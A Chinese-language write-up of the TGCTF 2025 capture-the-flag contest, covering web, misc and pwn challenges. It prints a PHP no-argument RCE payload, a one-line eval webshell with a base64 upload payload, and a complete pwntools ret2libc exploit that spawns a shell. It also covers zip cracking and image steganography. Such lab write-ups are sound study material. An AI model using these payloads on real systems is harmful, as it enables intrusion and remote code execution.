TGCTF 2025 WriteUp


做的很舒服的一次 CTF ,终于是新生赛不是新神赛了555

web 和 pwn 简单题挺多的,不过这次主要是做的 misc 多拿点分。

最后只能勉强守住前百,拼尽全力无法战胜…


Web

AAA偷渡阴平

简单的无参数 RCE 即可绕过并 getshell 。

payload : ?tgctf2025=eval(end(current(get_defined_vars())));&rce=system("cat%20/flag");

火眼辩魑魅

访问 robots.txt 拿到目标信息;

1
2
3
4
5
6
7
User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php

这里选择看着顺眼的 tgshell.php 下手。

highlight_file("./tgshell.php"); 拿源码审计。

可以发现只是过滤了些可以直接 getshell 的函数,但这并不影响我们传一个🐎上去。

一句话木马:<?php eval(@$_POST['rce']);?>

payload: echo(file_put_contents("shell.php", base64_decode("PD9waHAgZXZhbChAJF9QT1NUWydyY2UnXSk7Pz4=")));

蚁剑 Getshell 即可。

直面天命

查看源码,提示我们访问 /hint 路由。

访问后告诉我们要爆破一个路由,yakit 写一段反向正则爆破即可。

爆破出来 /aazz 路由,继续查看源码是可以发现提示我们传参的 hint 。

拿 arjun 爆破一下参数:

filename 参数,猜测是文件读取。

直接读取 /flag 即可。


Misc

这是啥o_o

一个 GIF 。

帧提取一下,可以在后面几帧发现被分尸九段的汉信码。

因为图片尺寸不对,脚本截取一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image
import os

Image.MAX_IMAGE_PIXELS = None

input_folder = "./qr/"

output_folder = "output_images"


os.makedirs(output_folder, exist_ok=True)

for filename in os.listdir(input_folder):

if filename.lower().endswith(".png"):

input_path = os.path.join(input_folder, filename)
output_path = os.path.join(output_folder, filename)

with Image.open(input_path) as img:
cropped_img = img.crop((0, 0, 38, 38))
cropped_img.save(output_path)

随后拼接即可。

time is your fortune ,efficiency is your life

不过扫描出来可以发现并不是 flag , 而是一段 hint 。

思考一下,可以发现这段 hint 其实指向的是 GIF 时间隐写,即在 GIF 图每一帧的播放时间上动手脚。

对应字节是 010 GIF 模板上的 Delay Time 标记。

使用 010 手动看对应字节提取出来即可。

ez_zip

嵌套 zip 。

第一层是弱密码爆破,8位纯数字, AZCHPR 爆破即可。

第二层是明文攻击,注意到压缩包的压缩方式是 ZipCrypto Deflate , 同时本层与下一层的zip压缩包中都含有 sh512.txt , 只是长度不同。根据 sh512 语义不难猜到下一层压缩包内的 txt 文本内容是本层文本的 sha512 。 长度也为 128 位刚好对的上。使用windows自带标准压缩,保证文件目录结构相同,压缩完成比对 CRC 相同, AZCHPR 明文攻击即可。

第三层则是压缩包修复,这部分没有什么好讲的,发现 zipfilerecord 段被删除了一点,这里直接放出前后 HEX 比对。

修复完成即可得到 flag 。

你能发现图中的秘密吗?

这道题中途改了一次题,浪费了半天时间。

只记得第一次的题是每 10 个像素塞了一个点,写个脚本提取出来即可,似曾相识。

最后的题目是一个套题,先是可以利用 Stegsolve 在 R0 通道发现隐写,得到压缩包的密码 key=i_1ove_y0u

解压后得到一段 flag ,还有一段 flag 被 IDAT 隐写在了另一个图片文件里。

提取出来,可以发现这一段 IDAT 是 78 9C 开头,大概是另一张图片的 IDAT 块数据。

给这段 IDAT 补齐其他 PNG 段,不过我们并不知道宽高,所以此时还是无法得到 flag 。

众嗦粥汁,高并不会影响 png 的可读性,我们只需要得到宽即可。

观察宽高错误的图片,其实可以发现图片的后半段有颜色的像素是有规律的出现的,我们获取相邻两个像素的间隔。利用画图数一下毛计算一下即可得知宽度是 1500px 。

改宽度,读取,得到 flag 。

where it is(osint)

osint 就不好说了,大概是截取中间一段图片,百度识图一下,可以发现是 tw 省的一所学校,搜这所学校的官网,可以得到这个学校的地址是某段路的 520 号.

不过我们直接搜高德地图是搜不出来的,只能搜到同一个路的 300 多号和 700 多号,那么学校肯定在这中间。

题目问的是学校附近的 地铁(?) 站,在区间内有一个 西湖站 和 港墘站 ,答案是港墘站。

Pwn

Signin

简简单单脚本一把梭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *

# context(log_level = 'Debug', arch = 'amd64')
context(arch = 'amd64')

io = remote("node1.tgctf.woooo.tech", 30602)

elf = ELF('./pwn')

rdi = 0x0000000000401176
ret = 0x000000000040101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = elf.symbols['_start']

offset = 120

print(f"plt:{hex(puts_plt)}")
print(f"plt:{hex(puts_got)}")

# 泄露 puts 的地址并返回 main 函数方便打第二个 payload
leak = flat([b'A' * offset, ret, rdi, puts_got, puts_plt, start])
io.sendlineafter("please leave your name.\n", leak)

# 拿到 system 和 /bin/sh 的真实地址
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

print(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base_addr = puts_addr - libc.dump('puts')
system_addr = libc_base_addr + libc.dump('system')
binsh_addr = libc_base_addr + libc.dump('str_bin_sh')


payload = b'a'* offset + p64(ret)+ p64(rdi) + p64(binsh_addr) + p64(system_addr)
io.recvuntil('please leave your name.\n')
io.sendline(payload)

io.interactive()